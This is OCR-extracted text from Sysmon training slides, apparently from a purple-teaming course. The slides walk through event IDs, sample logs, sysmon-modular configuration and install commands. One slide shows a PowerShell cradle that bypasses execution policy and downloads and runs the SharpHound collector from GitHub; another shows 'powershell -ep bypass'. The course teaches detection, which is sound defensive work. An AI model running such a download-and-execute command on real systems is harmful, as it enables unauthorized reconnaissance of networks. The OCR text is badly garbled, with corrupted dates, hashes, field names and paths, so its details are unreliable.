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Sysmon — Best Endpoint Detection Tool (and it's free)

Biased opinion: Sysmon is the best free endpoint logging tool available.
Nuanced opinion: Sysmon can create a lot of noise.

- Significantly fewer event IDs than standard Windows logging

- Better organized

«  Logs full command line

«  Records hash of process executables (makes global searching easier)

- DLL load operations
- Raw disk reads (file.exe opened by process) Sysmon V1 203
«  Network connections 11/25/2020 + 14 minutes to read « 1) * @@

+  Process Access
By Mark Russinovich and Thomas Garnier

Published: November 25, 2020
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Evidence of Sysmon’s Abilities — Just a ping.

Operational  Number of events: 46

Date and Time Source
6/21/2020 11:38:35 AM Sysmon
6/21/2020 11:36:33 AM Sysmon
6/21/2020 11:36:17 AM Sysmon
6/21/2020 11:36:16 AM Sysmon
6/21/2020 11:36:14 AM Sysmon
6/21/2020 11:33:28 AM Sysmon
6/21/2020 11:35:26 AM Sysmon
672172020 11:35:22 AM Sysmon
6/21/2020 11:33:21 AM Sysmon
(i) Information  6/21/2020 11:35:18 AM Sysmon

t 1D
2

2

2
2

Task Category

Dns query (rule: DnsQuery)

Process Create (rule: ProcessCreatef
Dns query (rule: DnsCuery)

Dns query (rule: DnsQuery)

Process Create (rule: ProcessCreate)
Dns query (rule: DnsQuery)

Process Create (rule: ProcessCreate)
Dns query (rule: DnsQuery)

Dns query (rule: DnsQuery)

Process Create (rule: ProcessCreate)

&8 Command Prompt _

c:\>ping google.com

Pinging google.com [172.217.4.11@]
172.217.4.110: bytes=32
172.217.4.110: bytes=32
172.217.4.110: bytes=32

172.217.4.110: bytes=32

Event 22, Sysmon

General Details

Ping statistics for 172.217.4.110:

Dns query:

RuleName: -

UtcTime: 2020-06-21 17:38:33.464

ProcessGuid: {7a0e89b3-9aal - Seef-7a08-000000001F00}
Processld: 10080

QueryName: google.com

QueryStatus:

QueryResults: =ffff:172.217.4.110;

Image: C:\Windows\System32\PING.EXE

Packets: Sent = 4, Received = 4/
Approximate round trip times in mil]

Minimum = 4@ms, Maximum = 48ms,

c:\>

defensiveorigins.com
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Evidence of Sysmon’s Abilities — Just a ping.

1. User instantiates a command prompt (cmd.exe)
- Sysmon event ID 1: Process creation (number 3 in screenshot)
2. User issues command to “ping google.com”
- Sysmon event ID 22: DNS lookup (number 4 in screenshot)
3. Sysmon logs user access ping.exe
4. Ping.exe asks for DNS resolution of google.com

All of this is logged real time. Implications?
» High performance log ingestors can alert early
* And can provide accurate optics

‘ — ’ defensiveorigins.com
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Sysmon’s Event ID 1: Process Creation

Let execute a download with bitsadmin.

|Ever1t 1, Sysmon |

Sysmon logs: Gineril [oaa

- RuleName
Process Create;

o Image RuleMarnef technique_id=T1197 technique_name=BITS Jobs I
UtcTime; 2020-T2-20 127 08.970

- User ProcessGuid: {64e54def-38he-5fe7- b208-000000000700)
Process|d: 15928

- Hostname Image: CAWindows\Systern32\bitsadmin.exe

EVErsion 7.0, : TREOT.
Description: BITS administration utility
Product Microsoft® Windows® Operating System

Company: Microsoft Corporation

CniginalFileMame: bitsadmin.exe

ICommandLine: bitsadmin /transfer debjob /download fpriority normal hitp://cdimage.debian.crg/del

£.7.1-i286-xfre-desktop.iso Cusers\Defensive0Gs\Downloads\debian-live.iso

= O
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ser DOLTOM DefensiveCiGs
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Sysmon Event ID 3: Network Connection

Network Connection Detected
 EventID 3:
* Image name
* Source IP
* Destination IP
» Destination port

This is important.

* Malware needs network

* C2 channels need network

» Lateral movement needs network

Aad

4}
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Network connection detected:

RuleName: technique_id=T1036,technique_name=Masquerading

UtcTime: 2021-01-10 20:43:46.606

ProcessGuid: {64e54def-84b1-5ff8-e300-000000000c00}

Processld: 9804

Image: C:\Users\DefensiveOGs\AppData\Local\Microsoft\Teams\current\Teams.exe
User: DOLTO7\DefensiveOGs "W—
Protocol: tcp
Initiated: true

b

Image / Process

SOUTCErIosman e
SourcePort: 55041
SourcePortName: -

[DestinationHostname: -
IDestinationPort: 443




Sysmon’s Event IDs 4 and 5

Sysmon service changes

(i) Information  12/26/2020 %:57:39 AM Sysmon 4 Sysmaon service state changed
@ Information  12/26/2020 9:57:57 AM Sysmon 4  Sysmon service state changed
() Information  12/26/2020 9:57:48 AM Sysmon 22 Dns query (rule: DnsQuery)

Event 4, Sysmen

General  Details

Sysmon service state changed:
UteTime: 2020-12-26 16:57:57.991
State: Stopped

Version: 12.03

SchemaVersion: 4.40

defensiveorigins.com
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Sysmon’s Event ID 7: Image Loaded

Event ID 7 covers image loads operations and the processes that instantiate them.

Event 7, Sysmon

General Details

Image loaded:

RuleMame: technique_id=T1073 technique_name=DLL Side-Loading
UtcTime: 2020-12-27 06:09:20.046

ProcessGuid: {64e5ddef-2510-5fel-8301-000000000800}

Procesald: 10344

Image: C:\ProgramDataiMicrosofti\Windows Defender\Platform’4.18.2011 .E—U\MpCdeun.Ex&
Imageloaded: C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.2011.6-0\MpClient.dll

FileVerzion: 4. 78 2077.0 (Winbuild, TeOTOT.LE00)
Description: Client Interface

R PP ¥ L = o =
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Sysmon’s Event ID 10: Process Access

Process access logs the request from a source image for access to a target image.

Sysmon Logs:

« Source Image
- Target Image General Details
» Granted Access

Event 10, Sysmon

Scurcelmage: Ch\ProgramData’Microsoft\Windows Defender\platform\4.13.20‘l1.5—t}MsMpEng.ae |
TargetProcessGUID: {84e54def-22a8-5feB-0c00- 000000000300}

Ia_;g&f_ﬂm;ﬂ:ld' AR

Targetimage: CAWindows'\system32\lsass.exe
(GrantedAccess: (x1010

CallTrace: CAWindows\SYSTEMIZ\ntdIl.dll+Scd 74| CAWindows'\ Systern 32\ KERNELBASE. dil+ 249e¢|C:\Progr
\Definition Updates\{ECCDGEFA-1504-430E-B5A1-6F5DBIAZATEA mpengine.dil+37%a5¢|C:\ProgramData
Updates\{ECCDEEFA-15D4-439E-B5A1-6F5DBYAZATEA N mpengine.dil+ 379830 C:\ProgramData\ Microsofty

A ICArMErTA AEMA ATNE DEAY EFEONARTIAICAN o oo ot I B AL, M oo TV A R oo VA
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Sysmon’s Event ID 11: File Creation Events

File creation events are logged based on defined location and extension.

name erounRelation="or">

T1546.011,technique name=Application 5

n="end with">.bat</ >
end with™>.cmd</ >

4, technique name=Scripting” condit
begin with">C:\Users\Default</
="contains">Desktop</

S T S
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Sysmon’s Event ID 11: File Creation Events

File creation events are logged based on defined location and extension.

Sysmon LOgS: Level Date and Time Source Event D Task Category

. |mage l/i‘) Information 1272772020 4:52:43 PM Sysmon 11 File created (rule: FileCreate)
T t Fil nformation 127272020 4:52:43 PM Sysmon 11  File created (rule: FileCreate)

° arget Filename =

«  Create time Event 11, Sy=mon

General Details

File created:

RuleMame: -

UtcTime: 2020-12-27 23:52:43.392

ProcessGuid: {6de34def-1e39-5fe0-a003- 000000000800}

Processid: 5148

Image: ChA\Windows\systern3NNOTEPADEXE
argetFilename: C\Users\DefensiveOGs\Desktop'file bat |

CreationUtc Time: 2020-T2-27 23:52545.355

defensiveorigins.com
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Sysmon’s Event ID 12, 13, 14: File Creation Events

Registry events related to the following.

*  RegObject added/deleted (HKLM / HKU)

*  RegValue set (DWORD / QWORD additions)
*  RegObject renamed

Event 12, Sysmon

Sysmon Logs: General Details

© Image Reqi bj dded or deleted

. eqistry object added or deleted:
+ TargetObject as RuleName: technique_id=T1003,technique_name=Credential Dumping |
Reg Hive Location Ventlype: Createkey
UtcTime: 2021-01-04 04:59:25.930
ProcessGuid: {64e54def-alad-5ff2-cd71-000000000900}
Processld: 12476

Image: C:\Windows\system32\taskhostw.exe
TargetObject: HKLM\System\CurrentControlSet\Control\SecurityProviders\SCHANNEL

T G
¢ D
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Sysmon’s Event ID 15: FileCreateStreamHash

Downloads from web, basically.
Zone.ldentifier: “the mark of the web”

Sysmon Logs:

« Image

- Target Filename
« Create Time

« Host URL

defensiveorigins.com

“F  Filtered: Log: Microsoft-Windows-Sysmon/Operational; Source: ; Event ID: 15, Number of events: 6

Level Dateand Time Source Event D Task Category
@ Infarmation 12/27/2020 5:13:33 PM Sysmaon 15 File stream created (rule: FileCreateStreamHash)
'Zj'_'.‘lnformation 12/27/2020 5:13:33 PM Sysmon 15  File stream created (rule: FileCreateStreamHash)

Event 15, Sysmon

General  Details

File stream created:

RuleMame: -

UtcTime: 2020-12-28 00:13:33.324

ProcessGuid: {64e54def-232b-5fe9-cc03-000000000800}

Processld: 4752

Image: C\Program Files\Google\Chrome\Application\chrome.exe

TargetFilename: C\Users\DefensiveOGs\Downloads\build_collector.py:Zone.ldentifier
[CreationUtc Iime: 2020-12-28 U0 13:3 1. 18T

Hash: SHA1=C9128594B4AB0D48BESASAES4DESAFBOEG231TTET, MD 3=F819FCa2704AAIE481 0044054843221, SHA256=
4D130463E71D135AF0A1D3D423D88FB5D435TEDAB424EDO07AF 140D 548D 14288, IMPHASH=00000000000000000000000000000000
Contents: [7oneTransfer] Id=3 Beferrerlldshttpns:Vgithub.com/hyt3bl33d3e/CrackidapErec

HostUrl=https:// github.com/byt3blI33d3r/ CrackMapExec/blob/master/build_collector.py |

© Defensive Origins LLC C0310.13 — Threat Optics
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Sysmon’s Event ID 16: Sysmon Config Change

Updates to the configuration file are logged here.

General  Details

Sysmon Logs: Level Date and Time Source Event [D  Task Category
«  Timestamp (@ Information 12/27/2020 2:40:40 PM Sysmaon 16 Sysmon config state changed
- New config

SHA1 hash Event 16, Sysmon

Sysmon config state changed:
UtcTime: 2020-12-27 21:40:40.413

Configuration: Chusers\DefensiveDGs\Downloads\Sysmon
ConfigurationFileHash: SHA1=EDABADSNABBSE32DAD586045TBAS oD CEEES389A

defensiveorigins.com
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Sysmon’s Event ID 17, 18: Pipe Events

SMB pipe events are logged under EID 17 and EID 18.
+  EventID 17: Pipe Created
*  EventID 18: Pipe Connected

Level Date and Time Source
. (i) Informatian 1272772020 9:45:16 PM Sysmaon
Sysmon Logs: (1) Information 12/26/2020 10:5:11 PM Sysmon

Event ID Task Category

17 Pipe Created (rule: PipeEvent)
17 Pipe Created (rule: PipeEvent)

- Timestamp

Event 17, Sysmon

- Image
- Pipe name General [D-tatls
- PID

Pipe Created:

EventType: CreatePipe

UtcTime: 2020-12-28 04:45:11.335

ProcessGuid: {84e54def-62d7-5fe%-3400-000000000900}
Processld: 2602

PipeMame: \atsvc

Image: CA\Windows\system32\svchost.exe

RuleMame: technique_id=T1021,002 technique_name=5MB/Windows Admin Shares

defensiveorigins.com
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Sysmon’s Event ID 19, 20, 21: WMI Events

WMI related events are logged here.
+  EID19 WMIEventFilters

+  EID20 WMIEventConsumer

+  EID21 WMIEventConsumertoFilter

name="

groupRelation="or">
Sysmon Logs:
-2

onmatch="include">

defensiveorigins.com
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Sysmon’s Event ID 22: DNS Events

DNS events are filtered by Sysmon-modular to exclude known domains and log the rest.

Operational Number of events: 4830 (1) New events available

Sysmon LOgS: “F  Filtered: Log: Microsoft-Windows-Sysmon/Operational: Source: ;|Event ID: 22, Mumber of events: 953 I

+ NOISY

+  Query request

Event 22, Sysmon

«  Query result
- Image

General

Details

Dns query:

RuleMame: -

UtcTime: 2021-01-04 05:25:55.242

ProcessGuid: {64e54def-0328-5fe0-f300-000000000900}

Processld: 5744

CueryMame: addons-pa.clientsé.google.com

QueryStatus: 0

QueryResults: 172.217.4.42;

Image: C:\Program Files\Google\Chrome\Application\chrome.exe

defensiveorigins.com
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Sysmon’s Event ID: 23 FileDelete

Great opportunity to introduce Sysmon-modular...but not yet, soon!
New event ID needs a few things configured (partial config.xml shown below):

<Sysmon schemaversion="4.30">
<ArchiveDirectory=>C:\Path\to\Deleted\Archives\</ArchiveDirectory=

<EventFiltering>
<RuleGroup name="" groupRelation="or"=>
<FileDelete onmatch="include">
<Rule groupRelation="or">
<TargetFilename condition="contains">\Downloads\</TargetFilename>
<!--User Download folder-->
<TargetFilename condition="contains any">.com;.bat;.exe;.reg;.psl;.vbs;
.pptm; .scr;.msi;.sct</TargetFilename>

defensiveorigins.com
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Sysmon’s Event ID: 23 FileDelete

1. Archive Directory location, can be a network share.
2. FileDelete option to include or exclude

3. Rule filters as they apply to each other and ...or... or
4. File descriptors of interest

gl 7T E
‘ — ’ defensiveorigins.com
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https://youtu.be/ MUP4tgdM7s (Mark Russinovich’s Explanation)
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Sysmon’s Event ID: 23 FileDelete

At this point, the test file create and delete was caught.
Event ID 11: Notepad (parent process) created File.hta
Event ID 23: FileDelete Rule with file hash

@J Information  6/21/2020 1:50:30 PM Sysmon
6/21/2020 1:50:30 PM

23
11

€1 Information Sysmon

File Delete (rule: FileDelete)

File created (rule: FileCreate)
(3 Infrrmatine 672119090 1.60:77 DAA < 7 lemane bt Gl

s lraanal aadl

Event 11, Sysmon

General  Details

File created:

RuleMame: -

UtcTime: 2020-06-21 19:50:30.819

ProcessGuid: {7ale89b9-boff- Seef-ec08-000000001F00}

Processld: 9284

Image: C\Windows\system32\NOTEPAD.EXE

TargetFilename: C:\Users\LeroyBrown\Downloads\Demo'\File.hta
CreationUtcTime: 2020-06-21 19:50:30.819

N

4}

LI
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Evidence of Sysmon’s Abilities — RDP Session

1. User instantiates launches mstsc.exe
- Sysmon event ID 1: Process creation

0 Information  6/21/2020 11:43:05 AM Sysmon 1 Process Create (rule: ProcessCreate)
\illnfurmat\un 6/21/2020 11:41:58 AM Sysmon 22 Dns query (rule: DnsQuery)
'.'Plnformatmn 6/21/2020 11:38:11 AM Sysmon 22 Dns query (rule: DnsQuery)

Event 1, Sysmon

General  Details

Process Create:
RuleMarne: technique_id=T1204 technigque_narme=User Execution
UtcTime: 2020-06-21 17:43:05.811
ProcessGuid: {7alef9b9-9c29-5eef-8608- 00000000100}
Processld: 3884
Image: C:\Windows\System32\mstsc.exe
FileVersion: 10.0.17763.404 (WinBuild. 160107.0800)
Description: Remote Desktop Connection
Product: Microseft® Windows® Operating Systemn
r "

e ¥ £

CmgilnalFiIeName: rnsts(_.lexe
CommandLine: "C\Windows\systern32\mstsc.exe"

R ;LIUEEE_U T T El ow;tsyﬁemﬂu
I
gl £ 7TV
‘ o ‘ defensiveorigins.com
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Links:
https://docs.microsoft.com/en-us/sysinternals/downloads/sysmon
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Evidence of Sysmon’s Abilities — RDP Session

Finally something interesting: Network Connection Detected
- Event ID 3!

= v 4l grery ey gy
@)Informat\on 6/21/2020 11:43:55 AM I Sysmon 3 Network connection detected (rule: NetworkConnect) I
- Image name ';;i:'lnformat\on 6/21/2020 11:43:23 AM Sysmon 3 Process terminated (rule: ProcessTerminate)
- S rC I P Event 3, Sysmon
= DSt I P General Details
- DSt port MNetwork connection detected:
RuleMame: technique_id=T1021technique_name=Remote Services

UtcTime: 2020-06-21 17:43:53,110
ProcessGuid: {7aleB8b9-9c29-Seef-2608-000000001F00}

This is important. |mas= CiindowsSystemizimezcoe_| Parent Proces Image

Protocol: top

Initiated: true

Sourcelslpvé: false

Sourcelp: 192.16838.131 <=————  Spource IP Address
SourceHostname; -

SourcePort: 51053

SourcePorthame: -

Destinationlsipve: false . .

Destinationlp: 40.122.121.58 «—— Destination IP Address
DestinationHostname: - ' s
DestinationPort: 3333 «———— Destination Port

DestinationPortName: -

defensiveorigins.com
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Links:
https://docs.microsoft.com/en-us/sysinternals/downloads/sysmon




Sysmon — Assisting with Endpoint Logging

Catches things accurately.

[> 1 SMBSErver
| SMBWitnessClient Event 1, Sysmon
| StateRepository . : ,
| Storage-Tiering eneral  Details
StorageManagement

!

StorageSpaces-Driver |Process Create: I
uleNarne:

B StofageSpacesManagementager UtcTime: 2019-07-09 21:16:52.358

| StorageSpaces-SpaceManager PracessGuid: [bbfc056b-0444-5¢25-0000-001070d020¢)

| StorDiag Processld: 7604

| Store Image: CAWindows\System32\WindowsPowerShell\w1.0\powershell.exe
StorPort FileVersion: 10.0.17763.1 (WinBuild.160101.0800)

@ sysmon Description: Windows PowerShell

= . Product: Microsoft® Windows ® Operating System
=] Operational \ e .

T Systemsettngs Threshold T | |OriginalFileNamne: PowerShell.EXE

| TaskScheduler CommandLine: powershell -ep bypass

1 TCPIP Comentwectory CNTsers s dmmDownloads\
TerminalSenvices-ClientbctiveXCa !Jser: WL'L}?‘{?‘:IT'&ETIT = £ ian AnAM AAaA )

A

)
=

defensiveorigins.com
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Links:
https://docs.microsoft.com/en-us/sysinternals/downloads/sysmon
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Sysmon — Starting from Zero (Windows Optics-wise)

Opinion: Best Place to start the logging improvement process

Parachuter (Tactical and Rapid Responders):
e Deploy a GPO for Sysmon

« Install an Elastic instance

« Ship logs and packets

‘ — ’ defensiveorigins.com
D
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Links:
https://docs.microsoft.com/en-us/sysinternals/downloads/sysmon
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Sysmon — Assisting with Endpoint Logging

Catches things accurately.

C:\Users\it.admin>powershell.exe -exec Bypass| -C "IEX(New-Object Net.Webclient).DownloadString('https

ntent. com/BloodHoundAD/BloodHound/master/Ingestors/SharpHound. psl'); Invoke-BloodHound™

. (@] Event Viewer
Major Mj
File Action View Help
s | nm s
3 1 il 2l o
Store " New events available
| StorPort
Sysmon Level Date and Time Source EventID Task Category
Initiali; | | Operational i) Information 7/10/201910:30:23 PM Sysmon Netwark connection detected (rule:
Rascivad m (D Information 01910:30:22 P! Network connection detected (rule:
% = TaskScheduler i ) Information 7/10/201910:30:17 . File created (rule: FileCreate)
Starting ceP (6] information
Status: TerminalServices-Client Information
Finished TerminalServices-Client o
= = e IServices-Local
8 hosts - TemminalServices-PaPD || Event 1, Sysmon %
TerminalServices-Printe 5 —
oo TerminalServices-Reme Genenal | Details
PRESS TerminalServices-Serve R
You can 1 1 Time-Service Product: Microsoft® Windows ® Operating System &
Finished Time-Service-PTP-Proy Company: Microsoft Corporation
TZSyme OriginalFileName: PowerShell EXE
TZUt hell.exe -exec Bypass -C "IEX{New-Object NetWebclient).DownloadStri
C:\Users A ttps://raw.githubusercontent.com/BloodHoundAD/BloodHound/master/lngestors/SharpHound.ps1);Invoke-BloodHound"
uac CurrentDirectory: C:AUsers\itadmin\
UAC-FileVirtualization User: WLABVAIT.Admin
Ul-Search LogonGuid: {bbfc56b-b5c1-5d26-0000- 00203711300}
UniversalTel tr/Clisl Logonld: x1371E3

defensiveorigins.com
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Links:
https://docs.microsoft.com/en-us/sysinternals/downloads/sysmon




Sysmon — Assisting with Endpoint Logging

The install process is easy.

sysmon64.exe -accepteula -i sysmonconfig.xml

PS C:\Sysmon> .\Sysmont4.exe

System Monitor v11.@ - System activity monitor
Copyright (C) 2014-2 Mark Russinovich and Thomas Garnier
Sysinternals - www.sysinternals.com

Loading configuration file with schema version 4._3@
Configuration file validated.
Sysmon64 installed.

monDrv installed.

gl 751

defensiveorigins.com
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_\sysmonconfig.xml

The config update process is easy too.
Update the config directory from the previous
slide in accordance with lifecycle changes.
Re-generate the sysmonconfig.xml with the
modular tool.

sysmon.exe -c sysmonconfig-update.xml

Commands:

sysmon64.exe -accepteula -i sysmonconfig.xml
sysmon.exe -c sysmonconfig-update.xml

Links:

https://docs.microsoft.com/en-us/sysinternals/downloads/sysmon

26



Sysmon — Updating an Existing Configuration
The config update process is easy too.

Update or change the configuration file with new directives.
Regenerate the file.

sysmon.exe -c sysmonconfig-update.xml

PS C:\Sysmon> .\Sysmon64.exe \sysmonconfig-update.xml

System Monitor v11.8 - System activity monitor

Copyright (C) 2014-2020 Mark Russinovich and Thomas Garnier

Sysinternals - www.sysinternals.com

Loading configuration file with schema version 4.30
Configuration file validated.
Configuration updated.

Aal

gl 751

defensiveorigins.com
© Defensive Origins LLC C0310.27 — Threat Optics

Commands:
sysmon.exe -c sysmonconfig-update.xml

27



Windows Audits the CLI and PowerShell Natively, Right?

Wrong.
Domain controllers? Nope.
Workstations? Nope.
Anything? Nope.

£7)

‘ ’ defensiveorigins.com
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Sysmon Modular — “Sysmon Refiner”

The containers to the right include configurable
options.

The process below generates a custom config
file for Sysmon.
- Parses directories as listed for

includes/excludes i

¢ Merge-SysmonXml

- It can be adjusted and re-installed easily

. .\Merge-SysmonXml.psl

Merge-AllSysmonXml -Path ( Get-ChildItem '[@-9]*\*.xml') -AsString | Out-File
sysmonconfig-update.xml

defensiveorigins.com
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Commands:
.\Merge-SysmonXml.ps1l

Merge-AllSysmonXml -Path ( Get-ChildItem '[@-9]*\*.xml') -AsString |
Out-File sysmonconfig-update.xml

Links:
https://github.com/olafhartong/sysmon-modular
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Sysmon-Modular — Refining Sysmon Endpoint Logging

Biased opinion: Sysmon is the best free endpoint logging tool available.

Nuanced opinion: Sysmon can create a lot of noise.
Sysmon-modular: A configurable way to help parse and limit the noise.

- Also, as seen below, helps map events to MITRE techniques

<« Local Disk (C:) > Users Y 3_network_ _initisted
= secwae_sset
< exclude_microsoft_onedrive
exlude_sophos Exclusions
< exclude_spotify
- m}
C:Users\Ad Ny dula\3_nebwork_ X _native_windows_too 0 = © || @8 EAUsers\Administrato..
condition="image">reg.exe</Image>
<I-- 1012-- Inclusions
<l-= 1112-->
<l-- ; >
<Image name="technique_id=T1218, hni | gsvr32"
condition="image">regsvr32.exe</Image>
<|-- 1
-->
<Image name="technique_id=T1085, hni | Rundli32"
condition="image">rundll32.exe</Image>
<I-- q I
P -3
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Links:
https://github.com/olafhartong/sysmon-modular
https://attack.mitre.org/techniques/enterprise/
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Sysmon-Modular — Refining Sysmon Endpoint Logging

If we make a change to any of the .xml files, we can generate up a new config.
New TargetFilename location or naming conditions?
Change .xml, regenerate modular config, apply new config to Sysmon.

<Sysmon schemaversion="4.30">
<ArchiveDirectory>C:\Path\to\Deleted\Archives\</ArchiveDirectory%

<EventFiltering>
<RuleGroup name="" groupRelation="or">
<FileDelete onmatch="include">
<Rule groupRelation="or">
<TargetFilename condition="contains">\Downloads\</TargetFilename>
<!--User Download folder--=>
<TargetFilename condition="contains any">.com;.bat;.exe;.reg;.psl;
.pptm; .scr;.msi;.sct</TargetFilename>
</RulLe>
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Links:
https://github.com/olafhartong/sysmon-modular




Windows Event Collection - Making Sense Out of it All.

1. Sysmon can help, a lot. This is not a silver bullet, nothing is.

2. Command line auditing should be configured to capture process creation
events.

3. PowerShell module logging and transcription should be configured via Group
Policy.

4. IS doesn't log web application events (application errors, yes) to Event Viewer
without additional configuration.

5. Logging and auditing can be a challenge, and we're up to the task.
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Applied Purple Teaming — L0310 Threat Optics Lab 1
Sysmon Install, Modular Sysmon Config, Install Sysmon.
15 Minutes
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